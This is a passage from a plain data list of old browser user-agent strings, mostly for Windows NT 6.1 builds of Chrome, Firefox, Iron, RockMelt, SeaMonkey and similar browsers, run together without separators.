AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.354.0 Safari/533.3 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Lunascape/6.4.2.23236 Safari/533.3 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.370.0 Safari/533.4 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.999 Safari/533.4 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.9 (KHTML, like Gecko) Chrome/6.0.400.0 Safari/533.9 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/6.0.428.0 Safari/534.1 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/7.0.540.0 Safari/534.10 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.0alpha3 ChromePlus/1.5.1.0alpha3 ChromePlus/1.5.1.0alpha3 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.216 Safari/534.10 ChromePlus/1.5.1.0alpha1 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 ChromePlus/1.5.2.0 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 ChromePlus/1.5.2.0alpha1 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) RockMelt/0.8.40.147 Chrome/8.0.552.231 Safari/534.10 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.596.0 Safari/534.13 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.19 Safari/534.13 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 ChromePlus/1.6.0.0 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) RockMelt/0.9.48.51 Chrome/9.0.597.107 Safari/534.13 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/10.0.601.0 Safari/534.14 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.638.0 Safari/534.16 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.11 Safari/534.16 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.134 Safari/534.16 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Iron/10.0.650.0 Chrome/10.0.650.0 Safari/534.16 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) RockMelt/0.9.50.459 Chrome/10.0.648.204 Safari/534.16 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) RockMelt/0.9.50.518 Chrome/10.0.648.205 Safari/534.16 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) RockMelt/0.9.50.549 Chrome/10.0.648.205 Safari/534.16 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.17 (KHTML, like Gecko) Chrome/10.0.649.0 Safari/534.17 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.17 (KHTML, like Gecko) Chrome/11.0.654.0 Safari/534.17 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.17 (KHTML, like Gecko) Chrome/11.0.655.0 Safari/534.17 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.2 (KHTML, like Gecko) Chrome/6.0.454.0 Safari/534.2 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.20 (KHTML, like Gecko) Chrome/11.0.669.0 Safari/534.20 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.20 (KHTML, like Gecko) Chrome/11.0.672.2 Safari/534.20 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.458.1 Safari/534.3 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.459.0 Safari/534.3 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.460.0 Safari/534.3 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.461.0 Safari/534.3 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.464.0 Safari/534.3 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475 Chrome/6.0.475.0 Safari/112818688.534 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475 Chrome/6.0.475.0 Safari/42050816.534 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475 Chrome/6.0.475.0 Safari/53013696.534 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475 Chrome/6.0.475.0 Safari/66529120.534 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475 Chrome/6.0.475.0 Safari/92861792.534 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/10116928.534 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/101291424.534 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/104641472.534 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/104938112.534 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/104972448.534 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/106435680.534 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/108267552.534 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/128779872.534 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/23411456.534 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/32022144.534 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/37517984.534 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/40061376.534 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/52229024.534 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/534 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/58473792.534 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/61170080.534 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/61389024.534 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/6316928.534 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/65209600.534 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/65969728.534 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/67162016.534 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/6838624.534 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/69296032.534 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/73530880.534 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/76829344.534 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/83554272.534 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/89895776.534 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/94403424.534 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/95066112.534 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/9724672.534 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/97486176.534 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Iron/6.0.475.1 Chrome/6.0.475.1 Safari/98035072.534 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.6 (KHTML, like Gecko) Chrome/7.0.498.0 Safari/534.6 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.41 Safari/534.7 ChromePlus/1.4.3.0alpha3 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Flock/3.5.2.4599 Chrome/7.0.517.442 Safari/534.7 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Iron/7.0.520.0 Chrome/7.0.520.0 Safari/534.7 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Iron/7.0.520.1 Chrome/7.0.520.1 Safari/534.7 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) RockMelt/0.8.36.116 Chrome/7.0.517.44 Safari/534.7 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) RockMelt/0.8.36.128 Chrome/7.0.517.44 Safari/534.7 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.5a) Gecko/20030728 Mozilla Firebird/0.6.1 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.8.0.7) Gecko/20060910 SeaMonkey/1.0.5 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.8.1.19) Gecko/20081217 K-Meleon/1.5.2 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20 GTB5 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.8.1.21) Gecko/20090331 K-Meleon/1.5.3 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.8.1.24) Gecko/20100228 Sylera/3.0.20 SeaMonkey/1.1.19 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.8.1.24) Gecko/20100228 Sylera/3.0.20 SeaMonkey/1.1.6 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.8.1.9) Gecko/20071110 Sylera/3.0.20 SeaMonkey/1.1.6 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.0.11) Gecko/2009060215 Firefox/3.0.11 (.NET CLR 3.5.30729) FirePHP/0.3 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 (.NET CLR 3.5.30729) FirePHP/0.3 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.0.13) Gecko/2009073022 Firefox/3.0.13 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.0.14) Gecko/2009082707 Firefox/3.0.14 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 FirePHP/0.2.4 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 GTB5 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.0.9) Gecko/2009040821 Firefox/3.0.9 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.0.9) Gecko/2009042410 Firefox/3.0.9 Wyzo/3.0.3 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1) Gecko/20090612 Firefox/3.5 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1) Gecko/20090612 Firefox/3.5 (.NET CLR 4.0.20506) Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1) Gecko/20090624 Firefox/3.1b3;MEGAUPLOAD 1.0 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1) Gecko/20090701 Firefox/3.5 Lunascape/5.1.1.0 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090722 Firefox/3.5.1 Orca/1.2 build 2 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.14) Gecko/20100930 SeaMonkey/2.0.9 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.16) Gecko/20101130 Firefox/3.5.16 FirePHP/0.4 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.18) Gecko/20110320 Firefox/3.6.13 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.18) Gecko/20110320 SeaMonkey/2.0.13 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.4) Gecko/20091016 Firefox/3.5.4 (.NET CLR 3.5.30729) FBSMTWB Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 MRA 5.5 (build 02842) Firefox/3.5.5 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 ( .NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.6) Gecko/20100121 Firefox/3.5.6 Wyzo/3.5.6.1 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.7pre) Gecko K-Meleon/1.5.3 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.8) Gecko/20100223 Firefox/3.5.8 Lunascape/6.1.0.20940 ( .NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.9) Gecko/20100317 Lightning/1.0b1 SeaMonkey/2.0.4 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1b3pre) Gecko/20081208 SeaMonkey/2.0 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1b3pre) Gecko/20081208 SeaMonkey/2.0a3pre Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1b4pre) Gecko/20090420 Shiretoko/3.5b4pre (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.11) Gecko/20101013 Thunderbird/3.1.5 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.11) Gecko/20101023 Firefox/3.6.11 (Palemoon/3.6.11) ( .NET CLR 3.5.30729; .NET4.0E) Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.12) Gecko/20101027 Lightning/1.0b2 Thunderbird/3.1.6 ThunderBrowse/3.3.4 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.12) Gecko/20101027 Thunderbird/3.1.6 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 AskTbFXTV5/3.9.1.14019 Firefox/3.6.13 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 AskTbPTV/3.9.1.14019 Firefox/3.6.13 GTB7.1 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 AskTbPTV2/3.9.1.14019 Firefox/3.6.13 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 AskTbSPC2/3.9.1.14019 Firefox/3.6.13 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 AskTbUT2V5/3.9.1.14019 Firefox/3.6.13 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 AskTbUT5V5/3.9.1.14019 Firefox/3.6.13 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 BTRS28621 Firefox/3.6.13 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101211 Firefox/3.6.13 (Palemoon/3.6.13) Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101211 Firefox/3.6.13 (Palemoon/3.6.13) GTB7.1 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101213 Opera/9.80 (Windows NT 6.1; U; zh-tw) Presto/2.7.62 Version/11.01 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 ( .NET CLR 3.5.30729; .NET4.0C) FirePHP/0.5 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.17) Gecko/20110414 Lightning/1.0b2 Thunderbird/3.1.10 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.17) Gecko/20110414 Thunderbird/3.1.10 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.17) Gecko/20110420 Firefox/3.6 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.2) Gecko/20100316 AskTbSPC2/3.9.1.14019 Firefox/3.6.2 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.2) Gecko/20100324 Firefox/3.6.2 (Palemoon/3.6.2) Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.28) Gecko/20120410 Firefox/3.6.28 Lunascape/6.7.1.25446 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.3) Gecko/20100401 Firefox/2.0.0.4 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.3) Gecko/20100401 Firefox/3.5.3;MEGAUPLOAD 1.0 ( .NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.3) Gecko/20100403 Firefox/3.6.3 (Palemoon/3.6.3) Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.3) Gecko/20100409 Firefox/3.6.3 CometBird/3.6.3 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.30) Gecko/20120217 Firefox/3.6.30 (Palemoon/3.6.30) Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.32) Gecko/20120529 Firefox/3.6.32 (Palemoon/3.6.32) Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.3pre) Gecko/20100403 Lorentz/3.6.3plugin2pre (.NET CLR 4.0.20506) Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.3pre) Gecko/20100405 Firefox/3.6.3plugin1 ( .NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.6) Gecko/20100625 Firefox/3.6.6 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.8) Gecko/20100806 Firefox/3.6 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2a1) Gecko/20090806 Namoroka/3.6a1 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2a1) Gecko/20090806 Namoroka/3.6a1 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2a1pre) Gecko/20090316 Minefield/3.2a1pre Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2a1pre) Gecko/20090317 Fennec/1.0b1 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2a2pre) Gecko/20090917 Namoroka/3.6a2pre Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2a2pre) Gecko/20090918 Namoroka/3.6a2pre Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2b1) Gecko/20091014 Firefox/3.6b1 GTB5 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2b5) Gecko/20091204 Firefox/3.6b5 Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.3a1pre) Gecko/20090829 Minefield/3.7a1pre Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.3a3pre) Gecko/20100305 Minefield/3.7a3pre Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.3a3pre) Gecko/20100306 Firefox3.6 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.3a3pre) Gecko/20100306 Minefield/3.7a3pre (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.3a3pre) Gecko/20100313 Minefield/3.7a3pre (.NET CLR 4.0.20506) Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:2.0b10) Gecko/20110126 Firefox/4.0b10 Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5 Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.1; es-ES) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 Mozilla/5.0 (Windows; U; Windows NT 6.1; es-ES) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0 Safari/533.16 Mozilla/5.0 (Windows; U; Windows NT 6.1; es-ES; rv:1.9.0.11) Gecko/2009060215 Firefox/3.0.11 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.1; es-ES; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6 Mozilla/5.0 (Windows; U; Windows NT 6.1; es-ES; rv:1.9.0.9) Gecko/2009040821 Firefox/3.0.9 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.1; es-ES; rv:1.9.1) Gecko/20090624 Firefox/3.5 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.1; es-ES; rv:1.9.2.13) Gecko/20101203 AskTbSPC2/3.9.1.14019 Firefox/3.6.13 Mozilla/5.0 (Windows; U; Windows NT 6.1; es-ES; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15 Mozilla/5.0 (Windows; U; Windows NT 6.1; es-ES; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 Mozilla/5.0 (Windows; U; Windows NT 6.1; es-ES; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.0 ( .NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 6.1; es-ES; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 Mozilla/5.0 (Windows; U; Windows NT 6.1; et; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9 Mozilla/5.0 (Windows; U; Windows NT 6.1; fi; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 Mozilla/5.0 (Windows; U; Windows NT 6.1; fr-FR) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 Mozilla/5.0 (Windows; U; Windows NT 6.1; fr; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5 Mozilla/5.0 (Windows; U; Windows NT 6.1; fr; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 Mozilla/5.0 (Windows; U; Windows NT 6.1; fr; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 ( .NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 